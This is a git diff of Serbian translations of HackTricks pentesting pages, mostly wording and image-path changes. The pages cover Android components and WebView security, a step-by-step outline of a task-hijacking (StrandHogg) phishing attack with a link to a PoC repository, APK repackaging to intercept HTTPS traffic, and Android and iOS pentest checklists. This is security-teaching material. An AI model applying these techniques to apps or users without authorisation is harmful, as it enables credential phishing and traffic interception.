public class MyApp extends Application {
@Override
@ -294,9 +294,9 @@ super.onCreate();
```
### Servisi
[Servisi](https://developer.android.com/guide/components/services) su **pozadinski operativci** sposobni da izvršavaju zadatke bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na druge aplikacije, čini servise ključnim za **dugotrajne operacije**.
[Servisi](https://developer.android.com/guide/components/services) su **pozadinski operativci** sposobni da izvršavaju zadatke bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na druge aplikacije, što čini servise ključnim za **dugotrajne operacije**.
Servisi su veoma fleksibilni; mogu biti pokrenuti na različite načine, pri čemu su **Intents** primarni metod za njihovo pokretanje kao ulazna tačka aplikacije. Kada se servis pokrene korišćenjem metode `startService`, njegova metoda `onStart` se aktivira i nastavlja sa radom sve dok se eksplicitno ne pozove metoda `stopService`. Alternativno, ako je uloga servisa uslovljena aktivnom klijentskom konekcijom, koristi se metoda `bindService` za povezivanje klijenta sa servisom, angažujući metodu `onBind` za prenos podataka.
Servisi su veoma prilagodljivi; mogu biti pokrenuti na različite načine, pri čemu su **Intents** primarni metod za njihovo pokretanje kao ulazna tačka aplikacije. Kada se servis pokrene korišćenjem metode `startService`, njegova metoda `onStart` se aktivira i nastavlja sa radom sve dok se eksplicitno ne pozove metoda `stopService`. Alternativno, ako je uloga servisa uslovljena aktivnom klijentskom konekcijom, koristi se metoda `bindService` za povezivanje klijenta sa servisom, angažujući metodu `onBind` za prenos podataka.
Interesantna primena servisa uključuje reprodukciju pozadinske muzike ili preuzimanje mrežnih podataka bez ometanja interakcije korisnika sa aplikacijom. Osim toga, servisi mogu biti dostupni drugim procesima na istom uređaju putem **izvoza**. Ovo nije podrazumevano ponašanje i zahteva eksplicitnu konfiguraciju u Android Manifest fajlu:
```xml
@ -304,21 +304,21 @@ Interesantna primena servisa uključuje reprodukciju pozadinske muzike ili preuz
```
### Broadcast Receivers
**Prijemnici emitovanja** deluju kao slušaoci u sistemu poruka, omogućavajući više aplikacija da odgovore na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: putem **Manifesta** aplikacije ili **dinamički** unutar koda aplikacije putem API-ja **`registerReceiver`**. U Manifestu, emitovanja se filtriraju sa dozvolama, dok dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
**Broadcast receivers** deluju kao slušaoci u sistemu poruka, omogućavajući više aplikacija da odgovore na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: putem **Manifesta** aplikacije ili **dinamički** unutar koda aplikacije putem **`registerReceiver`** API-ja. U Manifestu, emitovanja se filtriraju sa dozvolama, dok se dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
**Filteri namere** su ključni u oba metoda registracije, određujući koje emitovanja pokreću prijemnik. Kada se pošalje odgovarajuće emitovanje, poziva se metoda **`onReceive`** prijemnika, omogućavajući aplikaciji da reaguje u skladu, kao što je prilagođavanje ponašanja u odgovoru na upozorenje o niskom nivou baterije.
**Intent filteri** su ključni u oba metoda registracije, određujući koje emitovanja pokreću prijemnik. Kada se pošalje odgovarajuće emitovanje, poziva se metoda **`onReceive`** prijemnika, omogućavajući aplikaciji da reaguje u skladu, kao što je prilagođavanje ponašanja u odgovoru na upozorenje o niskom nivou baterije.
Emitovanja mogu biti ili **asinhrona**, dostižući sve prijemnike bez redosleda, ili **sinhrona**, gde prijemnici dobijaju emitovanje na osnovu postavljenih prioriteta. Međutim, važno je napomenuti potencijalni sigurnosni rizik, jer bilo koja aplikacija može sebi dati prioritet da presretne emitovanje.
Emitovanja mogu biti ili **asinhrona**, dostižući sve prijemnike bez redosleda, ili **sinhrona**, gde prijemnici dobijaju emitovanje na osnovu postavljenih prioriteta. Međutim, važno je napomenuti potencijalni sigurnosni rizik, jer bilo koja aplikacija može sebe prioritetizovati da presretne emitovanje.
Da biste razumeli funkcionalnost prijemnika, potražite metodu **`onReceive`** unutar njegove klase. Kod ove metode može manipulisati primljenom namerom, ističući potrebu za validacijom podataka od strane prijemnika, posebno u **Poređanim emitovanjima**, koja mogu modifikovati ili odbaciti nameru.
Da biste razumeli funkcionalnost prijemnika, potražite metodu **`onReceive`** unutar njegove klase. Kod ove metode može manipulisati primljenim Intentom, ističući potrebu za validacijom podataka od strane prijemnika, posebno u **Ordered Broadcasts**, koji mogu modifikovati ili odbaciti Intent.
### Provajder sadržaja
### Content Provider
**Provajderi sadržaja** su ključni za **deljenje strukturiranih podataka** između aplikacija, naglašavajući važnost implementiranja **dozvola** kako bi se osigurala sigurnost podataka. Oni omogućavaju aplikacijama pristup podacima iz različitih izvora, uključujući baze podataka, fajl sisteme ili veb. Specifične dozvole, poput **`readPermission`** i **`writePermission`**, su ključne za kontrolu pristupa. Dodatno, privremeni pristup može biti odobren putem podešavanja **`grantUriPermission`** u manifestu aplikacije, koristeći atribute poput `path`, `pathPrefix` i `pathPattern` za detaljnu kontrolu pristupa.
**Provajderi sadržaja** su ključni za **deljenje strukturiranih podataka** između aplikacija, naglašavajući važnost implementiranja **dozvola** radi osiguranja sigurnosti podataka. Oni omogućavaju aplikacijama pristup podacima iz različitih izvora, uključujući baze podataka, fajl sisteme ili web. Specifične dozvole, poput **`readPermission`** i **`writePermission`**, su ključne za kontrolu pristupa. Dodatno, privremeni pristup može biti odobren putem podešavanja **`grantUriPermission`** u manifestu aplikacije, koristeći atribute poput `path`, `pathPrefix` i `pathPattern` za detaljnu kontrolu pristupa.
Validacija unosa je od suštinskog značaja kako bi se sprečile ranjivosti, poput SQL ubacivanja. Provajderi sadržaja podržavaju osnovne operacije: `insert()`, `update()`, `delete()` i `query()`, olakšavajući manipulaciju podacima i deljenje među aplikacijama.
Validacija unosa je od suštinskog značaja za sprečavanje ranjivosti, poput SQL injection-a. Provajderi sadržaja podržavaju osnovne operacije: `insert()`, `update()`, `delete()` i `query()`, olakšavajući manipulaciju podacima i deljenje među aplikacijama.
**FileProvider**, specijalizovani Provajder sadržaja, fokusira se na sigurno deljenje fajlova. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa fasciklama, označenim sa `android:exported` i `android:resource` koji pokazuju konfiguracije fascikli. Preporučuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo slučajno izlaganje osetljivih podataka.
**FileProvider**, specijalizovani Provajder sadržaja, fokusira se na sigurno deljenje fajlova. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa fasciklama, označenim sa `android:exported` i `android:resource` koji pokazuju na konfiguracije fascikli. Preporučuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo slučajno izlaganje osetljivih podataka.
Primer deklaracije manifesta za FileProvider:
```xml
@ -330,7 +330,11 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
I primer za specificiranje deljenih foldera u `filepaths.xml` datoteci:
I primer za specificiranje deljenih foldera u `filepaths.xml`:
```xml
<sharedFolders>
```
```xml
<paths>
<files-path path="images/" name="myimages" />
@ -342,7 +346,7 @@ Za dodatne informacije pogledajte:
## WebViews
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji prikazuju sadržaj ili sa weba ili iz lokalnih datoteka. Oni se suočavaju sa sličnim rizicima kao i obični pregledači, ali postoji način da se **smanje ovi rizici** kroz specifična **podešavanja**.
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji prikazuju sadržaj ili sa weba ili iz lokalnih datoteka. Oni se suočavaju sa sličnim rizicima kao i obični pregledači, ali postoje načini da se **smanje ovi rizici** kroz specifična **podešavanja**.
Android nudi dva glavna tipa WebView-a:
@ -353,9 +357,9 @@ Ključna stvar je da WebView pregledači **ne dele kolačiće** sa glavnim pregl
Za učitavanje sadržaja, dostupne su metode poput ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Važno je osigurati da su ovi URL-ovi ili datoteke **sigurne za korišćenje**. Sigurnosna podešavanja mogu se upravljati putem klase ````WebSettings````. Na primer, onemogućavanje JavaScript-a sa ````setJavaScriptEnabled(false)```` može sprečiti XSS napade.
JavaScript "Bridge" omogućava Java objektima da komuniciraju sa JavaScript-om, zahtevajući da se metode označe sa ````@JavascriptInterface```` radi sigurnosti od Android verzije 4.2 nadalje.
JavaScript "Bridge" omogućava Java objektima da komuniciraju sa JavaScript-om, zahtevajući da se metode obeleže sa ````@JavascriptInterface```` radi sigurnosti od Android verzije 4.2 nadalje.
Dozvoljavanje pristupa sadržaju (````setAllowContentAccess(true)````) omogućava WebViews da pristupe Content Providers-u, što može biti rizično osim ako URL-ovi sadržaja nisu provereni kao sigurni.
Dozvoljavanje pristupa sadržaju (````setAllowContentAccess(true)````) omogućava WebView-ima da pristupe Content Provider-ima, što može biti rizično osim ako URL-ovi sadržaja nisu provereni kao sigurni.
Za kontrolu pristupa datotekama:
- Onemogućavanje pristupa datotekama (````setAllowFileAccess(false)````) ograničava pristup fajl sistemu, sa izuzecima za određene resurse, osiguravajući da se koriste samo za neosetljiv sadržaj.
@ -372,7 +376,7 @@ Za kontrolu pristupa datotekama:
### **Upravljanje mobilnim uređajima (MDM)**
- **MDM rešenja** pružaju **nadzor i sigurnost** za mobilne uređaje putem **Device Administration API**-ja. Zahtevaju instalaciju Android aplikacije radi efikasnog upravljanja i osiguranja mobilnih uređaja. Ključne funkcije uključuju **sprovođenje pravila za lozinke**, **obaveznu enkripciju skladištenja**, i **dozvolu za daljinsko brisanje podataka**, osiguravajući sveobuhvatnu kontrolu i sigurnost nad mobilnim uređajima.
- **MDM rešenja** pružaju **nadzor i sigurnost** za mobilne uređaje putem **Device Administration API**-ja. Zahtevaju instalaciju Android aplikacije radi efikasnog upravljanja i osiguranja mobilnih uređaja. Ključne funkcije uključuju **sprovođenje politika lozinke**, **obaveznu enkripciju skladišta**, i **dozvolu za daljinsko brisanje podataka**, osiguravajući sveobuhvatnu kontrolu i sigurnost nad mobilnim uređajima.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -385,7 +389,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
```
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
## Zadatak, Back Stack i Aktivnosti u prvom planu
U Androidu, **zadatak** je suštinski skup aktivnosti sa kojima korisnici interaguju kako bi završili određeni posao, organizovan unutar **back stack-a**. Ovaj stek poreda aktivnosti na osnovu vremena kada su otvorene, pri čemu se najnovija aktivnost prikazuje na vrhu kao **aktivnost u prvom planu**. U svakom trenutku, samo je ova aktivnost vidljiva na ekranu, čineći je delom **zadatka u prvom planu**.
U Androidu, **zadatak** je suštinski skup aktivnosti sa kojima korisnici interaguju kako bi završili određeni posao, organizovan unutar **back stack**-a. Ovaj stek naručuje aktivnosti na osnovu toga kada su otvorene, pri čemu se najnovija aktivnost prikazuje na vrhu kao **aktivnost u prvom planu**. U svakom trenutku, samo je ova aktivnost vidljiva na ekranu, čineći je delom **zadatka u prvom planu**.
Evo brzog pregleda tranzicija aktivnosti:
@ -35,29 +35,29 @@ Evo brzog pregleda tranzicija aktivnosti:
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
## Napad na zadatke
## Napad na povezanost zadataka
### Pregled zadatka i režima pokretanja
### Pregled povezanosti zadataka i režima pokretanja
U Android aplikacijama, **task affinity** određuje preferirani zadatak aktivnosti, obično se podudarajući sa imenom paketa aplikacije. Ova postavka je ključna za izradu PoC (Proof-of-Concept) aplikacije za demonstraciju napada.
U Android aplikacijama, **povezanost zadataka** određuje preferirani zadatak aktivnosti, obično se podudarajući sa imenom paketa aplikacije. Ova postavka je ključna za izradu konceptualne aplikacije (PoC) za demonstraciju napada.
### Režimi pokretanja
Atribut `launchMode` usmerava rukovanje instancama aktivnosti unutar zadataka. Režim **singleTask** je ključan za ovaj napad, diktirajući tri scenarija na osnovu postojećih instanci aktivnosti i podudaranja zadatka. Eksploatacija se oslanja na sposobnost aplikacije napadača da imitira zadatke ciljne aplikacije, zavaravajući Android sistem da pokrene aplikaciju napadača umesto ciljane aplikacije.
Atribut `launchMode` usmerava rukovanje instancama aktivnosti unutar zadataka. Režim **singleTask** je ključan za ovaj napad, diktirajući tri scenarija na osnovu postojećih instanci aktivnosti i podudaranja povezanosti zadataka. Eksploatacija se oslanja na sposobnost aplikacije napadača da imitira povezanost zadataka ciljne aplikacije, zavaravajući Android sistem da pokrene aplikaciju napadača umesto namenjene mete.
### Detaljni koraci napada
1. **Instalacija zlonamerne aplikacije**: Žrtva instalira aplikaciju napadača na svom uređaju.
1. **Instalacija zlonamerne aplikacije**: Žrtva instalira aplikaciju napadača na svoj uređaj.
2. **Početna aktivacija**: Žrtva prvo otvara zlonamernu aplikaciju, pripremajući uređaj za napad.
3. **Pokušaj pokretanja ciljane aplikacije**: Žrtva pokušava da otvori ciljanu aplikaciju.
4. **Izvršenje preuzimanja kontrole**: Zbog podudaranja zadatka, zlonamerna aplikacija se pokreće umesto ciljane aplikacije.
5. **Prevara**: Zlonamerna aplikacija prikazuje lažni ekran za prijavu koji podseća na ciljanu aplikaciju, prevareći korisnika da unese osetljive informacije.
3. **Pokušaj pokretanja ciljne aplikacije**: Žrtva pokušava da otvori ciljnu aplikaciju.
4. **Izvršenje preuzimanja kontrole**: Zbog podudaranja povezanosti zadataka, zlonamerna aplikacija se pokreće umesto ciljne aplikacije.
5. **Prevara**: Zlonamerna aplikacija prikazuje lažni ekran za prijavu koji podseća na ciljnu aplikaciju, prevareći korisnika da unese osetljive informacije.
Za praktičnu implementaciju ovog napada, pogledajte repozitorijum Task Hijacking Strandhogg na GitHub-u: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
### Mere prevencije
Da bi se sprečili ovakvi napadi, programeri mogu postaviti `taskAffinity` na prazan string i odabrati režim pokretanja `singleInstance`, obezbeđujući izolaciju njihove aplikacije od drugih. Prilagođavanje funkcije `onBackPressed()` nudi dodatnu zaštitu od preuzimanja kontrole nad zadacima.
Da bi se sprečili ovakvi napadi, programeri mogu postaviti `taskAffinity` na prazan string i odabrati režim pokretanja `singleInstance`, obezbeđujući izolaciju njihove aplikacije od drugih. Prilagođavanje funkcije `onBackPressed()` nudi dodatnu zaštitu od preuzimanja kontrole nad zadatkom.
## **Reference**
@ -66,7 +66,7 @@ Da bi se sprečili ovakvi napadi, programeri mogu postaviti `taskAffinity` na pr
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -4,7 +4,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,13 +14,13 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Neke aplikacije ne podržavaju preuzete sertifikate korisnika, pa kako bismo mogli da inspiciramo web saobraćaj za neke aplikacije, zapravo moramo dekompajlirati aplikaciju i dodati nekoliko stvari i ponovo je kompajlirati.
Neke aplikacije ne prihvataju preuzete sertifikate, pa kako bismo mogli da inspiciramo web saobraćaj za neke aplikacije, zapravo moramo dekompajlirati aplikaciju i dodati nekoliko stvari i ponovo je kompajlirati.
# Automatski
@ -32,7 +32,7 @@ Prvo dekompajliramo aplikaciju: `apktool d *ime-fajla*.apk`
![](../../.gitbook/assets/img9.png)
Zatim idemo u **Manifest.xml** fajl i spuštamo se do `<\application android>` oznake i dodajemo sledeću liniju ako već nije tamo:
Zatim idemo u **Manifest.xml** fajl i spuštamo se do oznake `<\application android>` i dodajemo sledeću liniju ako već nije tamo:
`android:networkSecurityConfig="@xml/network_security_config`
@ -67,18 +67,18 @@ Na kraju, potrebno je samo **potpisati novu aplikaciju**. [Pročitajte ovu sekci
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -39,7 +39,7 @@
### [Statistička analiza](android-app-pentesting/#static-analysis)
* [ ] Proverite korišćenje [obfuskacije](android-checklist.md#some-obfuscation-deobfuscation-information), proverite da li je mobilni uređaj rutovan, da li se koristi emulator i proverite anti-tampering provere. [Pročitajte više ovde](android-app-pentesting/#other-checks).
* [ ] Osetljive aplikacije (kao što su bankarske aplikacije) treba da provere da li je mobilni uređaj rutovan i da reaguju u skladu sa tim.
* [ ] Osetljive aplikacije (kao što su bankarske aplikacije) treba da provere da li je mobilni uređaj rutovan i da reaguju u skladu.
* [ ] Potražite [interesantne stringove](android-app-pentesting/#looking-for-interesting-info) (šifre, URL-ove, API, enkripciju, backdoor-e, tokene, Bluetooth UUID-ove...).
* [ ] Posebna pažnja na [firebase ](android-app-pentesting/#firebase)API-je.
* [ ] Pročitajte manifest:
@ -50,15 +50,15 @@
* [ ] Izloženi servisi
* [ ] Broadcast prijemnici
* [ ] URL šeme
* [ ] Da li aplikacija [nesigurno čuva podatke interno ili eksterno](android-app-pentesting/#insecure-data-storage)?
* [ ] Da li postoji [šifra hardkodirana ili sačuvana na disku](android-app-pentesting/#poorkeymanagementprocesses)? Da li aplikacija [koristi nesigurne kripto algoritme](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Da li aplikacija [nebezbedno čuva podatke interno ili eksterno](android-app-pentesting/#insecure-data-storage)?
* [ ] Da li postoji [šifra hardkodirana ili sačuvana na disku](android-app-pentesting/#poorkeymanagementprocesses)? Da li aplikacija [koristi nebezbedne kripto algoritme](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Da li su sve biblioteke kompajlirane koristeći PIE flag?
* [ ] Ne zaboravite da postoji mnoštvo [statičkih Android analizatora](android-app-pentesting/#automatic-analysis) koji vam mogu dosta pomoći tokom ove faze.
### [Dinamička analiza](android-app-pentesting/#dynamic-analysis)
* [ ] Pripremite okruženje ([online](android-app-pentesting/#online-dynamic-analysis), [lokalni VM ili fizički](android-app-pentesting/#local-dynamic-analysis))
* [ ] Da li postoji [neželjeno curenje podataka](android-app-pentesting/#unintended-data-leakage) (logovanje, kopiranje/lepljenje, beleške o padu)?
* [ ] Da li postoji [neželjeno curenje podataka](android-app-pentesting/#unintended-data-leakage) (logovanje, kopiranje/lepljenje, crash logovi)?
* [ ] Da li se [poverljive informacije čuvaju u SQLite bazama podataka](android-app-pentesting/#sqlite-dbs)?
* [ ] [Iskorišćive izložene aktivnosti](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Iskorišćivi provajderi sadržaja](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
@ -66,9 +66,9 @@
* [ ] [Iskorišćivi broadcast prijemnici](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Da li aplikacija [prebacuje informacije u čistom tekstu/koristi slabe algoritme](android-app-pentesting/#insufficient-transport-layer-protection)? Da li je moguć MitM napad?
* [ ] [Inspekcija HTTP/HTTPS saobraćaja](android-app-pentesting/#inspecting-http-traffic)
* [ ] Ovo je veoma važno, jer ako možete da uhvatite HTTP saobraćaj, možete tražiti uobičajene Web ranjivosti (Hacktricks ima dosta informacija o Web ranjivostima).
* [ ] Proverite moguće [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (verovatno će vam pomoći neka statička analiza koda)
* [ ] [Frida](android-app-pentesting/#frida): Samo Frida, koristite je da biste dobili interesantne dinamičke podatke iz aplikacije (možda neke šifre...)
* [ ] Ovo je veoma važno, jer ako možete uhvatiti HTTP saobraćaj, možete tražiti uobičajene Web ranjivosti (Hacktricks ima puno informacija o Web ranjivostima).
* [ ] Proverite moguće [Android injekcije sa klijentske strane](android-app-pentesting/#android-client-side-injections-and-others) (verovatno će vam pomoći neka statička analiza koda)
* [ ] [Frida](android-app-pentesting/#frida): Samo Frida, koristite je da biste dobili zanimljive dinamičke podatke iz aplikacije (možda neke šifre...)
### Informacije o obfuskaciji/Deobfuskaciji
@ -77,7 +77,7 @@
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -85,7 +85,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -34,7 +34,7 @@ Drugi načini podrške HackTricks-u:
* [ ] Pročitajte [**iOS Osnove**](ios-pentesting/ios-basics.md)
* [ ] Pripremite svoje okruženje čitajući [**iOS Testno Okruženje**](ios-pentesting/ios-testing-environment.md)
* [ ] Pročitajte sve sekcije [**iOS Početna Analiza**](ios-pentesting/#initial-analysis) da biste naučili uobičajene radnje za testiranje sigurnosti iOS aplikacije
* [ ] Pročitajte sve sekcije [**iOS Početna Analiza**](ios-pentesting/#initial-analysis) da biste naučili uobičajene akcije za testiranje penetracije iOS aplikacije
### Skladištenje Podataka
@ -57,12 +57,12 @@ Drugi načini podrške HackTricks-u:
### **Logovi**
* [ ] Proverite da li se [**osetljive informacije beleže**](ios-pentesting/#logs)
* [ ] Proverite da li se [**osetljive informacije beleže u logovima**](ios-pentesting/#logs)
### Bekapovi
* [ ] [**Bekapovi**](ios-pentesting/#backups) se mogu koristiti za **pristup osetljivim informacijama** sačuvanim u fajl sistemu (proverite početnu tačku ovog ček-liste)
* [ ] Takođe, [**bekapovi**](ios-pentesting/#backups) se mogu koristiti za **modifikaciju nekih konfiguracija aplikacije**, zatim **vratiti** bekup na telefon, i pošto se **modifikovana konfiguracija** učita, neka (sigurnosna) **funkcionalnost** može biti **zaobiđena**
* [ ] [**Bekapovi**](ios-pentesting/#backups) se mogu koristiti za **pristupanje osetljivim informacijama** sačuvanim u fajl sistemu (proverite početnu tačku ovog checklista)
* [ ] Takođe, [**bekapovi**](ios-pentesting/#backups) se mogu koristiti za **modifikaciju nekih konfiguracija aplikacije**, zatim **vratiti** bekup na telefon, i pošto se **modifikovana konfiguracija** učita, neka (bezbednosna) **funkcionalnost** može biti **zaobiđena**
### **Memorija Aplikacije**
@ -77,15 +77,15 @@ Drugi načini podrške HackTricks-u:
### **Lokalna Autentikacija**
* [ ] Ako se koristi [**lokalna autentikacija**](ios-pentesting/#local-authentication) u aplikaciji, treba proveriti kako autentikacija funkcioniše.
* [ ] Ako se koristi [**Lokalni Autentikacioni Okvir**](ios-pentesting/#local-authentication-framework) može se lako zaobići
* [ ] Ako se koristi [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) može se lako zaobići
